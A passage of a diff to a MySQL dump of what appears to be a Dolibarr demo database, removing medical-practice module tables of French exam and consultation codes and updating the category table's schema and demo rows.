Chevilles','RADIO',10,1),(12,'RX_AVPD','Radios Avants-Pieds','RADIO',10,1),(13,'RX_EP','Radio Epaule','RADIO',10,1),(14,'RX_MAINS','Radios Mains','RADIO',10,1),(15,'RX_COUDE','Radios Coude','RADIO',10,1),(16,'RX_RC','Radios Rachis Cervical','RADIO',10,1),(17,'RX_RD','Radios Rachis Dorsal','RADIO',10,1),(18,'RX_RCD','Radios Rachis CervicoDorsal','RADIO',10,1),(19,'RX_RDL','Radios DorsoLombaire','RADIO',10,1),(20,'RX_SCO','Bilan Radio Scoliose','RADIO',10,1),(21,'RX_RIC','Bilan Radio Rhumatisme Inflammatoire','RADIO',10,1),(22,'TDM_LOMB','Scanner Lombaire','RADIO',10,1),(23,'TDM_DORS','Scanner Dorsal','RADIO',10,1),(24,'TDM_CERV','Scanner Cervical','RADIO',10,1),(25,'TDM_HANC','Scanner Hanche','RADIO',10,1),(26,'TDM_GEN','Scanner Genou','RADIO',10,1),(27,'RX_RDL','Radios Rachis DorsoLombaire','RADIO',10,1),(28,'ARTTDMG','ArthroScanner Genou','RADIO',10,1),(29,'ARTTDME','ArthroScanner Epaule','RADIO',10,1),(30,'ARTTDMH','ArthroScanner Hanche','RADIO',10,1),(31,'IRM_GEN','IRM Genou','RADIO',10,1),(32,'IRM_HANC','IRM Hanche','RADIO',10,1),(33,'IRM_EP','IRM Epaule','RADIO',10,1),(34,'IRM_SIL','IRM SacroIliaques','RADIO',10,1),(35,'IRM_RL','IRM Rachis Lombaire','RADIO',10,1),(36,'IRM_RD','IRM Rachis Dorsal','RADIO',10,1),(37,'IRM_RC','IRM Rachis Cervical','RADIO',10,1),(38,'ELECMI','Electromiogramme','RADIO',10,1),(39,'NFS','NFS','BIO',10,1),(40,'BILPHO','Bilan Phosphocalcique','BIO',10,1),(41,'VSCRP','VS/CRP','BIO',10,1),(42,'EPP','Electrophorèse Protéine Plasmatique','BIO',10,1); -/*!40000 ALTER TABLE `llx_cabinetmed_examenprescrit` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_motifcons` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_motifcons`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_motifcons` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `position` int(11) DEFAULT 10, - `active` smallint(6) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=54 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_motifcons` --- - -LOCK TABLES `llx_cabinetmed_motifcons` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_motifcons` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_motifcons` VALUES (5,'AUTRE','Autre',1,1),(6,'DORS','Dorsalgie',10,1),(7,'DOLMSD','Douleur Membre supérieur Droit',10,1),(8,'DOLMSG','Douleur Membre supérieur Gauche',10,1),(9,'DOLMID','Douleur Membre inférieur Droit',10,1),(10,'DOLMIG','Douleur Membre inférieur Gauche',10,1),(11,'PARESM','Paresthésie des mains',10,1),(12,'DOLEPG','Douleur épaule gauche',10,1),(13,'DOLEPD','Douleur épaule droite',10,1),(14,'GONAD','Gonaglie droite',10,1),(15,'GONAG','Gonalgie gauche',10,1),(16,'DOLPD','Douleur Pied Droit',10,1),(17,'DOUL_MIN','Douleur Membre Inférieur',10,1),(18,'POLYAR','Polyarthralgie',10,1),(19,'SUIVIPR','Suivi PR',10,1),(20,'SUIVISPA','Suivi SPA',10,1),(21,'SUIVIRIC','Suivi RI',10,1),(22,'SUIVIPPR','Suivi PPR',10,1),(23,'DOLINGD','Douleur inguinale Droit',10,1),(24,'DOLINGG','Douleur inguinale Gauche',10,1),(25,'DOLCOUDD','Douleur coude Droit',10,1),(26,'DOLCOUDG','Douleur coude Gauche',10,1),(27,'TALAL','Talalgie',10,1),(28,'DOLTENDC','Douleur tandous Calcanien',10,1),(29,'DEROB','Dérobement Membres Inférieurs',10,1),(30,'LOMB_MEC','Lombalgies Mécaniques',10,1),(31,'LOMB_INF','Lombalgies Inflammatoires',10,1),(32,'DORS_MEC','Dorsalgies Mécaniques',10,1),(33,'DORS_INF','Dorsalgies Inflammatoires',10,1),(34,'CERV_MEC','Cervicalgies Mécaniques',10,1),(35,'SCIAT','LomboSciatique ',10,1),(36,'CRUR','LomboCruralgie',10,1),(37,'DOUL_SUP','Douleur Membre Supérieur',10,1),(38,'INGUINAL','Inguinalgie',10,1),(39,'CERV_INF','Cervicalgies Inflammatoires',10,1),(40,'DOUL_EP','Douleur Epaule',10,1),(41,'DOUL_POI','Douleur Poignet',10,1),(42,'DOUL_GEN','Douleur Genou',10,1),(43,'DOUL_COU','Douleur Coude',10,1),(44,'DOUL_HAN','Douleur Hanche',10,1),(45,'PAR_MBRS','Paresthésies Membres Inférieurs',10,1),(46,'PAR_MBRI','Paresthésies Membres Supérieurs',10,1),(47,'TR_RACHI','Traumatisme Rachis',10,1),(48,'TR_MBRS','Traumatisme Membres Supérieurs',10,1),(49,'TR_MBRI','Traumatisme Membres Inférieurs',10,1),(50,'FAT_MBRI','Fatiguabilité Membres Inférieurs',10,1),(51,'DOUL_CHE','Douleur Cheville',10,1),(52,'DOUL_PD','Douleur Pied',10,1),(53,'DOUL_MA','Douleur Main',10,1); -/*!40000 ALTER TABLE `llx_cabinetmed_motifcons` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_patient` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_patient`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_patient` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `note_antemed` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_antechirgen` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_antechirortho` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_anterhum` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_other` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_traitclass` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_traitallergie` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_traitintol` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_traitspec` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `alert_antemed` smallint(6) DEFAULT NULL, - `alert_antechirgen` smallint(6) DEFAULT NULL, - `alert_antechirortho` smallint(6) DEFAULT NULL, - `alert_anterhum` smallint(6) DEFAULT NULL, - `alert_other` smallint(6) DEFAULT NULL, - `alert_traitclass` smallint(6) DEFAULT NULL, - `alert_traitallergie` smallint(6) DEFAULT NULL, - `alert_traitintol` smallint(6) DEFAULT NULL, - `alert_traitspec` smallint(6) DEFAULT NULL, - `alert_note` smallint(6) DEFAULT NULL, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=30 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_patient` --- - -LOCK TABLES `llx_cabinetmed_patient` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_patient` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_patient` VALUES (29,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0); -/*!40000 ALTER TABLE `llx_cabinetmed_patient` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_societe` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_societe`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_societe` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `nom` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `statut` smallint(6) DEFAULT 0, - `parent` int(11) DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `datec` datetime DEFAULT NULL, - `datea` datetime DEFAULT NULL, - `status` smallint(6) DEFAULT 1, - `code_client` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_fournisseur` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_compta` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_compta_fournisseur` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cp` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ville` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_departement` int(11) DEFAULT 0, - `fk_pays` int(11) DEFAULT 0, - `tel` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fax` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_effectif` int(11) DEFAULT 0, - `fk_typent` int(11) DEFAULT 0, - `fk_forme_juridique` int(11) DEFAULT 0, - `fk_currency` int(11) DEFAULT 0, - `siren` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `siret` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ape` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idprof4` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idprof5` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idprof6` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tva_intra` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `capital` double DEFAULT NULL, - `fk_stcomm` int(11) NOT NULL DEFAULT 0, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `prefix_comm` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `client` smallint(6) DEFAULT 0, - `fournisseur` smallint(6) DEFAULT 0, - `supplier_account` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_prospectlevel` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `customer_bad` smallint(6) DEFAULT 0, - `customer_rate` double DEFAULT 0, - `supplier_rate` double DEFAULT 0, - `fk_user_creat` int(11) DEFAULT NULL, - `fk_user_modif` int(11) DEFAULT NULL, - `remise_client` double DEFAULT 0, - `mode_reglement` smallint(6) DEFAULT NULL, - `cond_reglement` smallint(6) DEFAULT NULL, - `tva_assuj` smallint(6) DEFAULT 1, - `localtax1_assuj` smallint(6) DEFAULT 0, - `localtax2_assuj` smallint(6) DEFAULT 0, - `barcode` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_barcode_type` int(11) DEFAULT 0, - `price_level` int(11) DEFAULT NULL, - `default_lang` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `logo` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `canvas` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_societe` --- - -LOCK TABLES `llx_cabinetmed_societe` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_societe` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_cabinetmed_societe` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_categorie` -- @@ -3928,24 +3143,25 @@ DROP TABLE IF EXISTS `llx_categorie`; CREATE TABLE `llx_categorie` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_parent` int(11) NOT NULL DEFAULT 0, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `label` varchar(255) NOT NULL, `type` int(11) NOT NULL DEFAULT 1, `entity` int(11) NOT NULL DEFAULT 1, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, `visible` tinyint(4) NOT NULL DEFAULT 1, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `color` varchar(8) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `color` varchar(8) DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, + `ref` text DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_categorie_ref` (`entity`,`fk_parent`,`label`,`type`), KEY `idx_categorie_type` (`type`), KEY `idx_categorie_label` (`label`) -) ENGINE=InnoDB AUTO_INCREMENT=45 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=62 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -3954,7 +3170,7 @@ CREATE TABLE `llx_categorie` ( LOCK TABLES `llx_categorie` WRITE; /*!40000 ALTER TABLE `llx_categorie` DISABLE KEYS */; -INSERT INTO `llx_categorie` VALUES (1,0,'Preferred Partners',1,1,'This category is used to tag suppliers that are Prefered Partners',NULL,0,NULL,'005fbf',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(2,0,'MyCategory',1,1,'This is description of MyCategory for customer and prospects
',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(3,7,'Hot products',1,1,'This is description of hot products
',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(4,0,'Merchant',1,1,'Category dedicated to merchant third parties',NULL,0,NULL,'bf5f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(5,7,'Bio Fairtrade',0,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(6,7,'Bio AB',0,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(7,9,'Bio',0,1,'This product is a BIO product',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(8,7,'Bio Dynamic',0,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(9,0,'High Quality Product',0,1,'Label dedicated for High quality products',NULL,0,NULL,'7f7f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(10,0,'Reserved for VIP',0,1,'Product of thi category are reserved to VIP customers',NULL,0,NULL,'7f0000',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(11,9,'ISO',0,1,'Product of this category has an ISO label',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(12,0,'VIP',2,1,'',NULL,0,NULL,'bf5f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(13,0,'Region North',2,1,'Customer of North Region',NULL,0,NULL,'7f007f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(14,0,'Regular customer',2,1,'',NULL,0,NULL,'5fbf00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(15,13,'Region North A',2,1,'',NULL,0,NULL,'bf00bf',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(17,0,'MyTag1',4,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(18,0,'Met during meeting',4,1,'',NULL,0,NULL,'ff7f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(19,17,'MySubTag1',4,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(20,13,'Region North B',2,1,'',NULL,0,NULL,'bf005f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(21,0,'Region South',2,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(22,21,'Region South A',2,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(23,21,'Region South B',2,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(24,0,'Limited Edition',0,1,'This is a limited edition',NULL,0,NULL,'ff7f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(25,0,'Imported products',0,1,'For product we have to import from another country',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(26,28,'Friends',4,1,'Category of friends contact',NULL,0,NULL,'00bf00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(27,28,'Family',4,1,'Category of family contacts',NULL,0,NULL,'007f3f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(28,0,'Personal contacts',4,1,'For personal contacts',NULL,0,NULL,'007f3f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(29,0,'Online only merchant',1,1,'',NULL,0,NULL,'aaaaff',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(30,0,'Important',6,1,'Tag for important project',NULL,0,NULL,'7f003f','',NULL,'2020-06-12 17:12:24',NULL,NULL),(31,0,'POS Products',0,1,'All products available in store (POS)',NULL,0,NULL,'5f00bf','',NULL,'2020-06-12 17:12:24',NULL,NULL),(32,31,'Fruits',0,1,'',NULL,0,NULL,'aa56ff','',NULL,'2020-06-12 17:12:24',NULL,NULL),(33,31,'Vegetables',0,1,'',NULL,0,NULL,'aa56ff','',NULL,'2020-06-12 17:12:24',NULL,NULL),(34,31,'Pies',0,1,'Categories for Pies available on POS',NULL,0,NULL,'aa56ff',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(35,31,'Other',0,1,'',NULL,0,NULL,'aa56ff',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL),(36,0,'VIP',3,1,'VIP member',NULL,0,NULL,'007f00','',NULL,'2020-06-12 17:12:24',NULL,NULL),(37,0,'Board members',3,1,'',NULL,0,NULL,'bf00bf','',NULL,'2020-06-12 17:12:24',NULL,NULL),(38,0,'Main center',9,1,'',NULL,0,NULL,'bf5f00',NULL,'2020-06-12 19:17:30','2020-06-12 17:17:30',12,NULL),(39,0,'Center B',9,1,'Center B',NULL,0,NULL,'ff7f00',NULL,'2020-06-12 19:17:55','2020-06-12 17:17:55',12,NULL),(40,0,'Bank foreign',5,1,'',NULL,0,NULL,'00bfbf',NULL,'2021-04-15 10:26:42','2021-04-15 13:26:42',12,NULL),(41,0,'Bank old company',5,1,'',NULL,0,NULL,'7f7f00',NULL,'2021-04-15 10:26:52','2021-04-15 13:26:52',12,NULL),(42,0,'Event Urgent',10,1,'',NULL,0,NULL,'7f003f',NULL,'2021-04-15 10:42:53','2021-04-15 13:42:53',12,NULL),(43,0,'Event hidden',10,1,'',NULL,0,NULL,'cccccc',NULL,'2021-04-15 10:43:06','2021-04-15 13:43:06',12,NULL),(44,0,'Event Managers',10,1,'',NULL,0,NULL,'007f7f',NULL,'2021-04-15 10:43:34','2021-04-15 13:43:34',12,NULL); +INSERT INTO `llx_categorie` VALUES (1,0,'Preferred Partners',1,1,'This category is used to tag suppliers that are Prefered Partners',NULL,0,NULL,'005fbf',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(2,0,'MyCategory',1,1,'This is description of MyCategory for customer and prospects
',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(3,7,'Hot products',1,1,'This is description of hot products
',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(4,0,'Merchant',1,1,'Category dedicated to merchant third parties',NULL,0,NULL,'bf5f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(5,7,'Bio Fairtrade',0,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(6,7,'Bio AB',0,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(7,9,'Bio',0,1,'This product is a BIO product',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(8,7,'Bio Dynamic',0,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(9,0,'High Quality Product',0,1,'Label dedicated for High quality products',NULL,0,NULL,'7f7f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(10,0,'Reserved for VIP',0,1,'Product of thi category are reserved to VIP customers',NULL,0,NULL,'7f0000',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(11,9,'ISO',0,1,'Product of this category has an ISO label',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(12,0,'VIP',2,1,'',NULL,0,NULL,'bf5f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(13,0,'Region North',2,1,'Customer of North Region',NULL,0,NULL,'7f007f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(14,0,'Regular customer',2,1,'',NULL,0,NULL,'5fbf00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(15,13,'Region North A',2,1,'',NULL,0,NULL,'bf00bf',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(17,0,'MyTag1',4,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(18,0,'Met during meeting',4,1,'',NULL,0,NULL,'ff7f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(19,17,'MySubTag1',4,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(20,13,'Region North B',2,1,'',NULL,0,NULL,'bf005f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(21,0,'Region South',2,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(22,21,'Region South A',2,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(23,21,'Region South B',2,1,'',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(24,0,'Limited Edition',0,1,'This is a limited edition',NULL,0,NULL,'ff7f00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(25,0,'Imported products',0,1,'For product we have to import from another country',NULL,0,NULL,NULL,NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(26,28,'Friends',4,1,'Category of friends contact',NULL,0,NULL,'00bf00',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(27,28,'Family',4,1,'Category of family contacts',NULL,0,NULL,'007f3f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(28,0,'Personal contacts',4,1,'For personal contacts',NULL,0,NULL,'007f3f',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(29,0,'Online only merchant',1,1,'',NULL,0,NULL,'aaaaff',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(30,0,'Important',6,1,'Tag for important project',NULL,0,NULL,'7f003f','',NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(31,0,'POS Products',0,1,'All products available in store (POS)',NULL,0,NULL,'5f00bf','',NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(32,31,'Fruits',0,1,'',NULL,0,NULL,'aa56ff','',NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(33,31,'Vegetables',0,1,'',NULL,0,NULL,'aa56ff','',NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(34,31,'Pies',0,1,'Categories for Pies available on POS',NULL,0,NULL,'aa56ff',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(35,31,'Other',0,1,'',NULL,0,NULL,'aa56ff',NULL,NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(36,0,'VIP',3,1,'VIP member',NULL,0,NULL,'007f00','',NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(37,0,'Board members',3,1,'',NULL,0,NULL,'bf00bf','',NULL,'2020-06-12 17:12:24',NULL,NULL,NULL),(38,0,'Main center',9,1,'',NULL,0,NULL,'bf5f00',NULL,'2020-06-12 19:17:30','2020-06-12 17:17:30',12,NULL,NULL),(39,0,'Center B',9,1,'Center B',NULL,0,NULL,'ff7f00',NULL,'2020-06-12 19:17:55','2020-06-12 17:17:55',12,NULL,NULL),(40,0,'Bank foreign',5,1,'',NULL,0,NULL,'00bfbf',NULL,'2021-04-15 10:26:42','2021-04-15 13:26:42',12,NULL,NULL),(41,0,'Bank old company',5,1,'',NULL,0,NULL,'7f7f00',NULL,'2021-04-15 10:26:52','2021-04-15 13:26:52',12,NULL,NULL),(42,0,'Event Urgent',10,1,'',NULL,0,NULL,'7f003f',NULL,'2021-04-15 10:42:53','2021-04-15 13:42:53',12,NULL,NULL),(43,0,'Event hidden',10,1,'',NULL,0,NULL,'cccccc',NULL,'2021-04-15 10:43:06','2021-04-15 13:43:06',12,NULL,NULL),(44,0,'Event Managers',10,1,'',NULL,0,NULL,'007f7f',NULL,'2021-04-15 10:43:34','2021-04-15 13:43:34',12,NULL,NULL),(45,0,'Admin',13,1,'',NULL,0,NULL,'bf5f00',NULL,'2022-12-11 21:26:18','2022-12-11 21:26:18',12,NULL,NULL),(46,0,'Production',13,1,'',NULL,0,NULL,'007f7f',NULL,'2022-12-11 21:26:35','2022-12-11 21:26:35',12,NULL,NULL),(47,0,'Customers',12,1,'',NULL,0,NULL,'bf5f00',NULL,'2022-12-11 21:27:30','2022-12-11 21:27:30',12,NULL,NULL),(48,0,'Sales Representatives',12,1,'',NULL,0,NULL,'7f3f00',NULL,'2022-12-11 21:27:47','2022-12-11 21:27:47',12,NULL,NULL),(49,0,'Security',12,1,'',NULL,0,NULL,'bf0000',NULL,'2022-12-11 21:28:06','2022-12-11 21:28:06',12,NULL,NULL),(50,0,'BU Alternati',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:50:11','2023-02-10 15:50:11',12,NULL,NULL),(51,50,'BM',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:50:21','2023-02-10 15:50:21',12,NULL,NULL),(52,50,'ITOP',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:50:28','2023-02-10 15:50:28',12,NULL,NULL),(53,52,'Projet',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:50:48','2023-02-10 15:50:48',12,NULL,NULL),(54,53,'20202',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:50:55','2023-02-10 15:50:55',12,NULL,NULL),(55,54,'Test de categ',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:51:03','2023-02-10 15:51:03',12,NULL,NULL),(56,0,'BU Teclib ERP',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:51:16','2023-02-10 15:51:16',12,NULL,NULL),(57,56,'Dolibarr',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:51:33','2023-02-10 15:51:33',12,NULL,NULL),(58,56,'Odoo',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:51:43','2023-02-10 15:51:43',12,NULL,NULL),(59,56,'Autre',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:51:50','2023-02-10 15:51:50',12,NULL,NULL),(60,58,'Support',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:53:32','2023-02-10 15:53:32',12,NULL,NULL),(61,58,'Projet',6,1,'',NULL,0,NULL,'',NULL,'2023-02-10 12:53:43','2023-02-10 15:53:43',12,NULL,NULL); /*!40000 ALTER TABLE `llx_categorie` ENABLE KEYS */; UNLOCK TABLES; @@ -3968,7 +3184,7 @@ DROP TABLE IF EXISTS `llx_categorie_account`; CREATE TABLE `llx_categorie_account` ( `fk_categorie` int(11) NOT NULL, `fk_account` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_account`), KEY `idx_categorie_account_fk_categorie` (`fk_categorie`), KEY `idx_categorie_account_fk_account` (`fk_account`), @@ -3997,7 +3213,7 @@ DROP TABLE IF EXISTS `llx_categorie_actioncomm`; CREATE TABLE `llx_categorie_actioncomm` ( `fk_categorie` int(11) NOT NULL, `fk_actioncomm` int(11) NOT NULL, - `import_key` varchar(14) COLLATE 